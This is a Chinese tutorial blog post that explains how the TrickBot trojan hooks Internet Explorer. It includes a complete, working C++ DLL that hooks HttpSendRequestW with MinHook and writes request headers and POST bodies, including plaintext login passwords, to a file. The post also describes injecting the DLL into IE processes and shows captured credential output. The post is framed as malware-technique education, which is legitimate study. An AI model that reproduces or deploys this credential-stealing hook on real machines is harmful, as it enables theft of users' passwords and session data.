【Day 10】穿过 IE 的巴巴 - Hook IE 窃取明文密码

环境

  • Windows 10 21H1
  • Visual Studio 2019
  • IE 11.0.19041.906

前情提要

在上一篇【Day 09】Hook 的奇妙冒险 - Ring3 Hook 介绍过 Hook 的原理与几个 Hook Library,也拿 Hook MessageBox 为例,知道 Hook 的用法。在 【Day 05】你逆 - 逆向工程工具介绍也介绍过逆向工程的工具,这篇在讲解原理时会使用到 x32dbg。

这篇要继续延伸,开始带入现实世界的 Malware 的攻击技巧,讲解其中的原理并实作 POC。

TrickBot Banking Malware

TrickBot 是 2016 年出现的一支金融木马程序,它用了很多方法去偷一些有价值的资料,包含针对各种浏览器的 cookie、凭证。到了最近它的功能都还有持续在更新,例如在 Microsoft Edge 浏览器出现後,也开始针对 Edge 攻击;原本是针对 Windows 的恶意程序,在 2020 年甚至也支援 Linux 作业系统。

在攻击浏览器方面,TrickBot 使用 Reflective DLL Injection 的技巧,也就是 Reflective Loader。接着 Hook 浏览器所使用的函数,藉此拦截传输的明文机敏资讯。

原理

这篇就要来实作 TrickBot 的其中一个小功能,透过 Hook IE 达到拦截明文密码资讯,并记录到档案中。

Process Explorer 观察

打开 IE 和 proc64.exe 後,观察一下 iexplore.exe 这个 Process。我在 IE 开了两个 Tab,所以 iexplore.exe 下会有两个 Child Process。

可以注意到其中总共有三个 iexplore.exe Process,一个是 Parent Process,下面两个是 Child Process。往右边看 Image Type 的地方会发现只有 Parent Process 是 64-bit,Child Process 都是 32-bit。如果 Process Explorer 预设看不到 Image Type,可以在 View => Select Columns => Process Image => Image Type 打勾。

等等要 Hook 的是 Child Process 的部分,因为它们才是真正呼叫传送资料函数的 Process。

x32dbg 观察

目标函数是 wininet.dll 的 HttpSendRequestW,因为目标是 32-bit Process,所以用 x32dbg Attach 後点进 Symbols 找,在左边和右边分别搜寻关键字 wininet 与 HttpSendRequestW。

在 HttpSendRequestExW 按下 F2 下断点,然後在 CPU Tab 按 F9 继续执行。接着在 IE 中随便浏览任何一个网页,以下用 BambooFox 网站举例,顺便宣传一下 BambooFox 社群。

在 IE 中输入网址并按下 Enter 後,可以看到 x32dbg 到了断点的位置。这时看一下 HttpSendRequestW MSDN 对这函数的说明。其中 lpszHeaders 是 Request Header,所以在这个栏位可以看到 Hostname、网页路径、Cookie 等等资料;lpOptional 则通常是放 POST、PUT 参数。

BOOL HttpSendRequestW(
  HINTERNET hRequest,
  LPCWSTR   lpszHeaders,
  DWORD     dwHeadersLength,
  LPVOID    lpOptional,
  DWORD     dwOptionalLength
);

实际用 x32dbg 看看,在右边中间的视窗有 Calling Convention 的参数,分别看第二个 lpszHeaders 和第四个 lpOptional。

以上图来看,第二个参数是 0C802590,左下角 Memory Dump 那边按下 Ctrl-g 输入这个值就可以看到 Request Header。

再去 BambooFox 登入页面随便输入一组帐号密码,送出後一样会停在断点。这边我输入帐号 [email protected],密码为 password。

然後跟看第二个参数差不多,只是这次是看第四个参数,以上图来看是 12B3D5F0。一样在 Memory Dump 输入,就可以看到明文的帐号密码。

实作

实作流程

  1. 取得 wininet.dll 的 Handle
  2. 从 wininet.dll 找出 HttpSendRequestW 的位址
  3. Hook HttpSendRequestW,将它窜改成我们自己定义的函数。定义的函数中,会把第二个参数与第四个参数写到档案中,然後呼叫原本的 HtppSendRequestW
  4. 启用 Hook

POC

程序专案可以参考我的 GitHub 专案 zeze-zeze/2021iThome

#include "pch.h"
#include <Windows.h>
#include "MinHook.h"
#include <WinInet.h>
#include <fstream>
#include <stdio.h>

using namespace std;

#pragma comment(lib, "libMinHook.x86.lib")

// HttpSendRequestW 的函数原型,可以从 MSDN 查到
typedef BOOL (WINAPI* HTTPSENDREQUESTW)(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD);
HTTPSENDREQUESTW fpHttpSendRequestW = NULL;

// 将资讯写入 debug.txt 档案中
void DebugLog(wstring str) {
    wofstream file;
    file.open("C:\\debug.txt", std::wofstream::out | std::wofstream::app);
    if (file) file << str << endl << endl;
    file.close();
}

// 窜改 DetourHttpSendRequestW 的函数
BOOL WINAPI DetourHttpSendRequestW(HINTERNET hRequest,
    LPCWSTR   lpszHeaders,
    DWORD     dwHeadersLength,
    LPVOID    lpOptional,
    DWORD     dwOptionalLength) {
    // 第二个参数是 Request Header,把它写入档案中
    if (lpszHeaders) {
        DebugLog(lpszHeaders);
    }

    // 第四个参数通常是 POST、PUT 的参数,把它写入档案中
    if (lpOptional) {
        wchar_t  ws[1000];
        swprintf(ws, 1000, L"%hs", (char *)lpOptional);
        DebugLog(ws);
    }

    // 呼叫原本的 HttpSendRequestW
    return fpHttpSendRequestW(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
}

int hook() {
    wchar_t log[256];

    // 1. 取得 wininet.dll 的 Handle
    HINSTANCE hDLL = LoadLibrary(L"wininet.dll");
    if (!hDLL) {
        DebugLog(L"LoadLibrary wininet.dll failed\n");
        return 1;
    }

    // 2. 从 wininet.dll 找出 HttpSendRequestW 的位址
    void* HttpSendRequestW = (void*)GetProcAddress(hDLL, "HttpSendRequestW");
    if (!HttpSendRequestW) {
        DebugLog(L"GetProcAddress HttpSendRequestW failed\n");
        return 1;
    }

    // 3. Hook HttpSendRequestW,将它窜改成我们自己定义的函数。
    //    定义的函数中,会把第二个参数与第四个参数写到档案中,然後呼叫原本的 HtppSendRequestW
    if (MH_Initialize() != MH_OK){
        DebugLog(L"MH_Initialize failed\n");
        return 1;
    }
    int status = MH_CreateHook(HttpSendRequestW, &DetourHttpSendRequestW, reinterpret_cast<LPVOID*>(&fpHttpSendRequestW));
    if (status != MH_OK) {
        swprintf_s(log, L"MH_CreateHook failed: Error %d\n", status);
        DebugLog(log);
        return 1;
    }

    // 4. 启用 Hook
    status = MH_EnableHook(HttpSendRequestW);
    if (status != MH_OK) {
        swprintf_s(log, L"MH_EnableHook failed: Error %d\n", status);
        DebugLog(log);
        return 1;
    }

    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     ) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH: {
            hook();
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

实际测试

注意要编译成 x86 的 DLL,因为目标 Process 是 32-bit。另外这只是个 DLL,还要搭配一个 DLL Injector 才能注入到目标 Process,在【Day 06】致不灭的 DLL - DLL Injection 有讲过 DLL Injection 的实作方法,可以直接拿它改一改做使用,或是直接看我 GitHub 专案 zeze-zeze/2021iThome

DLL Injection 成功并在网页登入之後,产生的 debug.txt 内容大致如下,里面可以看到我们浏览的网页的 Request Header 和 POST 参数。

Referer: https://bamboofox.cs.nctu.edu.tw/users/sign_in
Accept-Language: en-US,en;q=0.8,zh-Hant-TW;q=0.5,zh-Hant;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

utf8=%E2%9C%93&authenticity_token=%2FNQem8B8t8EdHhE8vMobTd1jLFit7%2B6SG5qKeK3qjG319vBlzmRlT2qTSmgtNlbjYDuJ8XmY4aBFdtd7y%2BzI1w%3D%3D&user%5Bemail%[email protected]&user%5Bpassword%5D=bbbbbbbbbbbb&user%5Bremember_me%5D=0&commit=Log+in

参考资料


<<:  Day25 javascript 测试jQuery

>>:  [Day24]C# 鸡础观念- 物件导向(oop)~建构方法(Constructor)

D11-(9/11)-力成(6239)-有转型有并购的封装

注:发文日和截图的日期不一定是同一天,所以价格计算上和当日不同,是很正常的。 声明:这一系列文章并无...

[Day14] 架设 Nginx 当我们的 Web Server

.NET 5 Web API 布署到 Linux 上执行的时候,会跑在一个 Kestrel 服务器上...

谈谈讯息元件

常用的讯息有以下几类: Toast AlertDialog Toast 是快讯显示的即时计息,几秒内...

【DAY 22】Algorithm - Insertion sort 插入排序法

前面我们提过了 Bubble sort,这次我们要来从题目来看另一种排序的演算法 —— Insert...

如何申请免费 Let’s Encrypt SSL 自动更新凭证,自架 IIS 站台适用

Https 连线网页使用 SSL 加密凭证可以让使用者在网页输入的资料更加安全,减少被截取内容的风险...